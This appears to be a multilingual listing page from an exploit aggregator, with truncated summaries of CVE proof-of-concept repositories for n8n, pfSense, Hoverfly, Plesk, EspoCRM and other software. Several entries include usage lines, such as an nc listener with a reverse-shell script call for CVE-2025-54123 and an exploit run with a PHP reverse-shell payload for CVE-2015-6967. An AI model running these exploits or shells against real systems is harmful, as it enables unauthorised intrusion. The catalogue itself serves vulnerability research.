CVE-2025-68613

CVE-2025-68613 n8n هي منصة أتمتة سير عمل مفتوحة المصدر. تحتوي الإصدارات ابتداءً من 0.211.0 وما قبل 1.120.4 و1.121.1 و1.122.0 على ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE في نظام تقييم تعبيرات سير العمل الخاص بها. في ظل ظروف معينة، قد يتم تقييم التعبيرات المقدمة من المستخدمين المصادق عليه...

CVE-2014-4688-pfsense

CVE-2014-4688 – Injeção de Comandos no pfSense Prova de conceito modificada do Exploit-DB para CVE-2014-4688 injeção de comandos no pfSense via statusrrdgraphimg.php Visão Geral Este repositório contém uma versão modificada da prova de conceito original do Exploit-DB para CVE-2014-4688 , que afet...

CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5

CVE-2023-34537--- XSS riflesso trovato in HotelDruid V3.0.5 HotelDruid v3.0.5 è vulnerabile a molteplici vulnerabilità XSS. Queste vulnerabilità potrebbero consentire a utenti autenticati remoti di iniettare script web o HTML arbitrari. Questa è la mia terza repository. Non prendetevela con me se...

CVE-2023-31705

CVE-2023-31705 descrizione Una vulnerabilità di Cross-site scripting XSS riflesso nel Task Reminder System 1.0 di Sourcecodester consente a un utente autenticato di iniettare javascript dannoso nel parametro page. Tipo di vulnerabilità Cross Site Scripting XSS Vendor del prodotto Sourcecodster Ba...

CVE-2024-57785

CVE-2024-57785 root@kitploit: Exploit Title: Authenticated File Inclusion Vulnerability on Zenitel AlphaWeb XE Version 11.2.3.10 Date: 08/02/2025 Exploit Author: Safvan Parakkal Vendor Website: https://www.zenitel.com/ CVE: CVE-2024-57785 Usage: CVE-2024-57785.py -h -u URL -f FILE optional...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Verwendung Befehlsausführung: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse-Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...

CVE-2022-37204

CVE-2022-37204 CVE-2022-37204 POC Vorgeschlagene Beschreibung RESERVED JFinal CMS 5.1.0 ist anfällig für SQL-Injection. Zusätzliche Informationen https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql7.md Schwachstellentyp SQL-Injection Anbieter des Produkts die...

CVE-2024-48427

CVE-2024-48427 Descrizione Una vulnerabilità di SQL injection in Sourcecodesters Packers and Movers Management System v1.0 consente a utenti remoti autenticati di eseguire comandi SQL arbitrari tramite il parametro id in /mpms/admin/?page=services/manageservice&id Tipo di vulnerabilità SQL...

CVE-2026-65930

LimeSurvey Community Edition 7.0.5 is affected by an authenticated stored cross-site scripting vulnerability in the replacement-fields dialog within the administrative question editor. An attacker with low privileges can inject a persistent script that executes in the context of other users who i...

CVE-2023-5965

PoC per Espo CRM 7.2.4 CVE-2023-5965 & CVE-2023-5965 CVE-2023-5965 Avviso Un utente autenticato con privilegi potrebbe caricare un file zip appositamente predisposto sul server EspoCRM nella versione 7.2.5, tramite il modulo di aggiornamento, che potrebbe portare all'esecuzione di codice PHP...

CVE-2024-21683-RCE

CVE-2024-21683-RCE Danksagungen https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Nutzung root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Ändere $ip in Zeile 7 von phprevshell.php nc -lvnp 1234...

CVE-2021-36747

CVE-2021-36747 Blackboard Learn bis 9.1 ermöglicht XSS durch einen authentifizierten Benutzer über das Formular „Feedback to Learner“. Entdeckt: 11. Mai 2018 Das Blackboard-Sicherheitsteam wurde über dieses Problem informiert. Es bestätigte die Schwachstelle am 14. Mai 2018. Beschreibung: Das...

CVE-2026-65647

CVE-2026-65647 is an improper symlink resolution vulnerability in the Plesk Site Import and Migrator extensions. A remote authenticated (low-privilege) user can leverage this flaw to execute arbitrary code as root , resulting in full compromise of the vulnerable system. The CVSS 4.0 score is 8.7 ...

CVE-2026-65646

CVE-2026-65646 is an improper neutralization of special elements vulnerability in Plesk 's DNS zone management functionality , allowing remote authenticated users to disclose arbitrary local files and escalate privileges. The CVSS 4.0 base score is 8.7 (HIGH) , with low privileges required, no us...

CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

cve-2020-24572

CVE-2020-24572 Eine Schwachstelle wurde in includes/webconsole.php in RaspAP 2.5 entdeckt. Mit authentifiziertem Zugriff kann ein Angreifer eine fehlkonfigurierte und praktisch uneingeschränkte Webkonsole nutzen, um das zugrunde liegende Betriebssystem, auf dem diese Software läuft, anzugreifen u...

CVE-2026-62249

Weblate is a web-based continuous localization platform used to manage software translations. In versions prior to 2026.7, an authenticated user with access to a project can retrieve the change history of restricted components in that project through nested API change endpoints, even without...

CVE-2024-0399

CVE-2024-0399 - WooCommerce Customers Manager 29.4 - Iniezione SQL post-autenticazione Exploit Title: WooCommerce Customers Manager 29.4 - Iniezione SQL post-autenticazione Data: 2024-03-25 Autore Exploit: Ivan Spiridonov - xbz0n Software Link:...

CVE-2023-36146

CVE-2023-36146 PoC di CVE-2023-36146 - Multilaser RE 170 Firmware 2.2.6733 Cross Site Scripting persistente autenticato Passaggi per riprodurre: 1. Accedi al dispositivo tramite il tuo browser web 2. Vai su Security IP Filtering 3. Nel campo "Description" inietta il payload "" 4. Fai clic su Add ...